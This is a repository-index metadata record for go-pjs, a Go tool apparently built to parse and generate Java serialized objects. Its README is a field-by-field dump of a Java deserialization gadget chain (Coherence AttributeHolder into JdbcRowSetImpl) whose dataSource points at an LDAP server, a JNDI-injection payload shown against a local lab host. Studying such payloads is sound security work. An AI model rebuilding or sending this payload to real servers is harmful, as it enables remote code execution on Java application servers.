{"id":20996306,"url":"https://github.com/hktalent/go-pjs","last_synced_at":"2026-04-05T20:41:12.476Z","repository":{"id":85798111,"uuid":"561575263","full_name":"hktalent/go-pjs","owner":"hktalent","description":"golang Parse and generate java Serializable objects","archived":false,"fork":false,"pushed_at":"2022-11-09T06:47:26.000Z","size":54,"stargazers_count":2,"open_issues_count":0,"forks_count":1,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-12-28T09:48:49.776Z","etag":null,"topics":["hacker-tools","java","parser","serializable","tools"],"latest_commit_sha":null,"homepage":"","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/hktalent.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2022-11-04T01:45:48.000Z","updated_at":"2022-11-04T13:21:07.000Z","dependencies_parsed_at":"2023-03-01T22:15:26.792Z","dependency_job_id":null,"html_url":"https://github.com/hktalent/go-pjs","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/hktalent/go-pjs","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hktalent%2Fgo-pjs","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hktalent%2Fgo-pjs/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hktalent%2Fgo-pjs/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hktalent%2Fgo-pjs/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/hktalent","download_url":"https://codeload.github.com/hktalent/go-pjs/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hktalent%2Fgo-pjs/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":31449835,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-04-05T15:22:31.103Z","status":"ssl_error","status_checked_at":"2026-04-05T15:22:00.205Z","response_time":75,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["hacker-tools","java","parser","serializable","tools"],"created_at":"2024-11-19T07:29:08.229Z","updated_at":"2026-04-05T20:41:12.442Z","avatar_url":"https://github.com/hktalent.png","language":"Go","funding_links":[],"categories":[],"sub_categories":[],"readme":"# go-pjs\n\n```\nSTREAM_MAGIC - 0xac ed\nSTREAM_VERSION - 0x00 05\nContents\n  TC_OBJECT - 0x73\n    TC_CLASSDESC - 0x72\n      className\n        Length - 46 - 0x00 2e\n        Value - com.tangosol.coherence.servlet.AttributeHolder - 0x636f6d2e74616e676f736f6c2e636f686572656e63652e736572766c65742e417474726962757465486f6c646572\n      serialVersionUID - 0xcc 30 a4 78 3d ef 6a c1\n      newHandle 0x00 7e 00 00\n      classDescFlags - 0x0c - SC_EXTERNALIZABLE | SC_BLOCK_DATA\n      fieldCount - 0 - 0x00 00\n      classAnnotations\n        TC_ENDBLOCKDATA - 0x78\n      superClassDesc\n        TC_NULL - 0x70\n    newHandle 0x00 7e 00 01\n    classdata\n      com.tangosol.coherence.servlet.AttributeHolder\n        objectAnnotation\n          TC_BLOCKDATA - 0x77\n            Length - 174 - 0xae\n            Contents - 0x400a39636f6d2e74616e676f736f6c2e7574696c2e61676772656761746f722e546f704e41676772656761746f72245061727469616c526573756c740a89016f7261636c652e65636c697073656c696e6b2e636f686572656e63652e696e74656772617465642e696e7465726e616c2e7175657279696e672e46696c746572457874726163746f72010605353170776e0607636f6e6e656374060d736574436f6e6e656374696f6e02000000010b\n          TC_OBJECT - 0x73\n            TC_CLASSDESC - 0x72\n              className\n                Length - 29 - 0x00 1d\n                Value - com.sun.rowset.JdbcRowSetImpl - 0x636f6d2e73756e2e726f777365742e4a646263526f77536574496d706c\n              serialVersionUID - 0xce 26 d8 1f 49 73 c2 05\n              newHandle 0x00 7e 00 02\n              classDescFlags - 0x02 - SC_SERIALIZABLE\n              fieldCount - 7 - 0x00 07\n              Fields\n                0:\n                  Object - L - 0x4c\n                  fieldName\n                    Length - 4 - 0x00 04\n                    Value - conn - 0x636f6e6e\n                  className1\n                    TC_STRING - 0x74\n                      newHandle 0x00 7e 00 03\n                      Length - 21 - 0x00 15\n                      Value - Ljava/sql/Connection; - 0x4c6a6176612f73716c2f436f6e6e656374696f6e3b\n                1:\n                  Object - L - 0x4c\n                  fieldName\n                    Length - 13 - 0x00 0d\n                    Value - iMatchColumns - 0x694d61746368436f6c756d6e73\n                  className1\n                    TC_STRING - 0x74\n                      newHandle 0x00 7e 00 04\n                      Length - 18 - 0x00 12\n                      Value - Ljava/util/Vector; - 0x4c6a6176612f7574696c2f566563746f723b\n                2:\n                  Object - L - 0x4c\n                  fieldName\n                    Length - 2 - 0x00 02\n                    Value - ps - 0x7073\n                  className1\n                    TC_STRING - 0x74\n                      newHandle 0x00 7e 00 05\n                      Length - 28 - 0x00 1c\n                      Value - Ljava/sql/PreparedStatement; - 0x4c6a6176612f73716c2f507265706172656453746174656d656e743b\n                3:\n                  Object - L - 0x4c\n                  fieldName\n                    Length - 5 - 0x00 05\n                    Value - resMD - 0x7265734d44\n                  className1\n                    TC_STRING - 0x74\n                      newHandle 0x00 7e 00 06\n                      Length - 28 - 0x00 1c\n                      Value - Ljava/sql/ResultSetMetaData; - 0x4c6a6176612f73716c2f526573756c745365744d657461446174613b\n                4:\n                  Object - L - 0x4c\n                  fieldName\n                    Length - 6 - 0x00 06\n                    Value - rowsMD - 0x726f77734d44\n                  className1\n                    TC_STRING - 0x74\n                      newHandle 0x00 7e 00 07\n                      Length - 37 - 0x00 25\n                      Value - Ljavax/sql/rowset/RowSetMetaDataImpl; - 0x4c6a617661782f73716c2f726f777365742f526f775365744d65746144617461496d706c3b\n                5:\n                  Object - L - 0x4c\n                  fieldName\n                    Length - 2 - 0x00 02\n                    Value - rs - 0x7273\n                  className1\n                    TC_STRING - 0x74\n                      newHandle 0x00 7e 00 08\n                      Length - 20 - 0x00 14\n                      Value - Ljava/sql/ResultSet; - 0x4c6a6176612f73716c2f526573756c745365743b\n                6:\n                  Object - L - 0x4c\n                  fieldName\n                    Length - 15 - 0x00 0f\n                    Value - strMatchColumns - 0x7374724d61746368436f6c756d6e73\n                  className1\n                    TC_REFERENCE - 0x71\n                      Handle - 8257540 - 0x00 7e 00 04\n              classAnnotations\n                TC_ENDBLOCKDATA - 0x78\n              superClassDesc\n                TC_CLASSDESC - 0x72\n                  className\n                    Length - 27 - 0x00 1b\n                    Value - javax.sql.rowset.BaseRowSet - 0x6a617661782e73716c2e726f777365742e42617365526f77536574\n                  serialVersionUID - 0x43 d1 1d a5 4d c2 b1 e0\n                  newHandle 0x00 7e 00 09\n                  classDescFlags - 0x02 - SC_SERIALIZABLE\n                  fieldCount - 21 - 0x00 15\n                  Fields\n                    0:\n                      Int - I - 0x49\n                      fieldName\n                        Length - 11 - 0x00 0b\n                        Value - concurrency - 0x636f6e63757272656e6379\n                    1:\n                      Boolean - Z - 0x5a\n                      fieldName\n                        Length - 16 - 0x00 10\n                        Value - escapeProcessing - 0x65736361706550726f63657373696e67\n                    2:\n                      Int - I - 0x49\n                      fieldName\n                        Length - 8 - 0x00 08\n                        Value - fetchDir - 0x6665746368446972\n                    3:\n                      Int - I - 0x49\n                      fieldName\n                        Length - 9 - 0x00 09\n                        Value - fetchSize - 0x666574636853697a65\n                    4:\n                      Int - I - 0x49\n                      fieldName\n                        Length - 9 - 0x00 09\n                        Value - isolation - 0x69736f6c6174696f6e\n                    5:\n                      Int - I - 0x49\n                      fieldName\n                        Length - 12 - 0x00 0c\n                        Value - maxFieldSize - 0x6d61784669656c6453697a65\n                    6:\n                      Int - I - 0x49\n                      fieldName\n                        Length - 7 - 0x00 07\n                        Value - maxRows - 0x6d6178526f7773\n                    7:\n                      Int - I - 0x49\n                      fieldName\n                        Length - 12 - 0x00 0c\n                        Value - queryTimeout - 0x717565727954696d656f7574\n                    8:\n                      Boolean - Z - 0x5a\n                      fieldName\n                        Length - 8 - 0x00 08\n                        Value - readOnly - 0x726561644f6e6c79\n                    9:\n                      Int - I - 0x49\n                      fieldName\n                        Length - 10 - 0x00 0a\n                        Value - rowSetType - 0x726f7753657454797065\n                    10:\n                      Boolean - Z - 0x5a\n                      fieldName\n                        Length - 11 - 0x00 0b\n                        Value - showDeleted - 0x73686f7744656c65746564\n                    11:\n                      Object - L - 0x4c\n                      fieldName\n                        Length - 3 - 0x00 03\n                        Value - URL - 0x55524c\n                      className1\n                        TC_STRING - 0x74\n                          newHandle 0x00 7e 00 0a\n                          Length - 18 - 0x00 12\n                          Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b\n                    12:\n                      Object - L - 0x4c\n                      fieldName\n                        Length - 11 - 0x00 0b\n                        Value - asciiStream - 0x617363696953747265616d\n                      className1\n                        TC_STRING - 0x74\n                          newHandle 0x00 7e 00 0b\n                          Length - 21 - 0x00 15\n                          Value - Ljava/io/InputStream; - 0x4c6a6176612f696f2f496e70757453747265616d3b\n                    13:\n                      Object - L - 0x4c\n                      fieldName\n                        Length - 12 - 0x00 0c\n                        Value - binaryStream - 0x62696e61727953747265616d\n                      className1\n                        TC_REFERENCE - 0x71\n                          Handle - 8257547 - 0x00 7e 00 0b\n                    14:\n                      Object - L - 0x4c\n                      fieldName\n                        Length - 10 - 0x00 0a\n                        Value - charStream - 0x6368617253747265616d\n                      className1\n                        TC_STRING - 0x74\n                          newHandle 0x00 7e 00 0c\n                          Length - 16 - 0x00 10\n                          Value - Ljava/io/Reader; - 0x4c6a6176612f696f2f5265616465723b\n                    15:\n                      Object - L - 0x4c\n                      fieldName\n                        Length - 7 - 0x00 07\n                        Value - command - 0x636f6d6d616e64\n                      className1\n                        TC_REFERENCE - 0x71\n                          Handle - 8257546 - 0x00 7e 00 0a\n                    16:\n                      Object - L - 0x4c\n                      fieldName\n                        Length - 10 - 0x00 0a\n                        Value - dataSource - 0x64617461536f75726365\n                      className1\n                        TC_REFERENCE - 0x71\n                          Handle - 8257546 - 0x00 7e 00 0a\n                    17:\n                      Object - L - 0x4c\n                      fieldName\n                        Length - 9 - 0x00 09\n                        Value - listeners - 0x6c697374656e657273\n                      className1\n                        TC_REFERENCE - 0x71\n                          Handle - 8257540 - 0x00 7e 00 04\n                    18:\n                      Object - L - 0x4c\n                      fieldName\n                        Length - 3 - 0x00 03\n                        Value - map - 0x6d6170\n                      className1\n                        TC_STRING - 0x74\n                          newHandle 0x00 7e 00 0d\n                          Length - 15 - 0x00 0f\n                          Value - Ljava/util/Map; - 0x4c6a6176612f7574696c2f4d61703b\n                    19:\n                      Object - L - 0x4c\n                      fieldName\n                        Length - 6 - 0x00 06\n                        Value - params - 0x706172616d73\n                      className1\n                        TC_STRING - 0x74\n                          newHandle 0x00 7e 00 0e\n                          Length - 21 - 0x00 15\n                          Value - Ljava/util/Hashtable; - 0x4c6a6176612f7574696c2f486173687461626c653b\n                    20:\n                      Object - L - 0x4c\n                      fieldName\n                        Length - 13 - 0x00 0d\n                        Value - unicodeStream - 0x756e69636f646553747265616d\n                      className1\n                        TC_REFERENCE - 0x71\n                          Handle - 8257547 - 0x00 7e 00 0b\n                  classAnnotations\n                    TC_ENDBLOCKDATA - 0x78\n                  superClassDesc\n                    TC_NULL - 0x70\n            newHandle 0x00 7e 00 0f\n            classdata\n              javax.sql.rowset.BaseRowSet\n                values\n                  concurrency\n                    (int)0 - 0x00 00 00 00\n                  escapeProcessing\n                    (boolean)false - 0x00\n                  fetchDir\n                    (int)0 - 0x00 00 00 00\n                  fetchSize\n                    (int)0 - 0x00 00 00 00\n                  isolation\n                    (int)0 - 0x00 00 00 00\n                  maxFieldSize\n                    (int)0 - 0x00 00 00 00\n                  maxRows\n                    (int)0 - 0x00 00 00 00\n                  queryTimeout\n                    (int)0 - 0x00 00 00 00\n                  readOnly\n                    (boolean)false - 0x00\n                  rowSetType\n                    (int)0 - 0x00 00 00 00\n                  showDeleted\n                    (boolean)false - 0x00\n                  URL\n                    (object)\n                      TC_NULL - 0x70\n                  asciiStream\n                    (object)\n                      TC_NULL - 0x70\n                  binaryStream\n                    (object)\n                      TC_NULL - 0x70\n                  charStream\n                    (object)\n                      TC_NULL - 0x70\n                  command\n                    (object)\n                      TC_NULL - 0x70\n                  dataSource\n                    (object)\n                      TC_STRING - 0x74\n                        newHandle 0x00 7e 00 10\n                        Length - 53 - 0x00 35\n                        Value - ldap://docker.for.mac.localhost:1389/UpX34defineClass - 0x6c6461703a2f2f646f636b65722e666f722e6d61632e6c6f63616c686f73743a313338392f5570583334646566696e65436c617373\n                  listeners\n                    (object)\n                      TC_NULL - 0x70\n                  map\n                    (object)\n                      TC_NULL - 0x70\n                  params\n                    (object)\n                      TC_NULL - 0x70\n                  unicodeStream\n                    (object)\n                      TC_NULL - 0x70\n              com.sun.rowset.JdbcRowSetImpl\n                values\n                  conn\n                    (object)\n                      TC_NULL - 0x70\n                  iMatchColumns\n                    (object)\n                      TC_NULL - 0x70\n                  ps\n                    (object)\n                      TC_NULL - 0x70\n                  resMD\n                    (object)\n                      TC_NULL - 0x70\n                  rowsMD\n                    (object)\n                      TC_NULL - 0x70\n                  rs\n                    (object)\n                      TC_NULL - 0x70\n                  strMatchColumns\n                    (object)\n                      TC_NULL - 0x70\n          TC_BLOCKDATA - 0x77\n            Length - 3 - 0x03\n            Contents - 0x000000\n          TC_ENDBLOCKDATA - 0x78\n\n```","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fhktalent%2Fgo-pjs","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fhktalent%2Fgo-pjs","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fhktalent%2Fgo-pjs/lists"}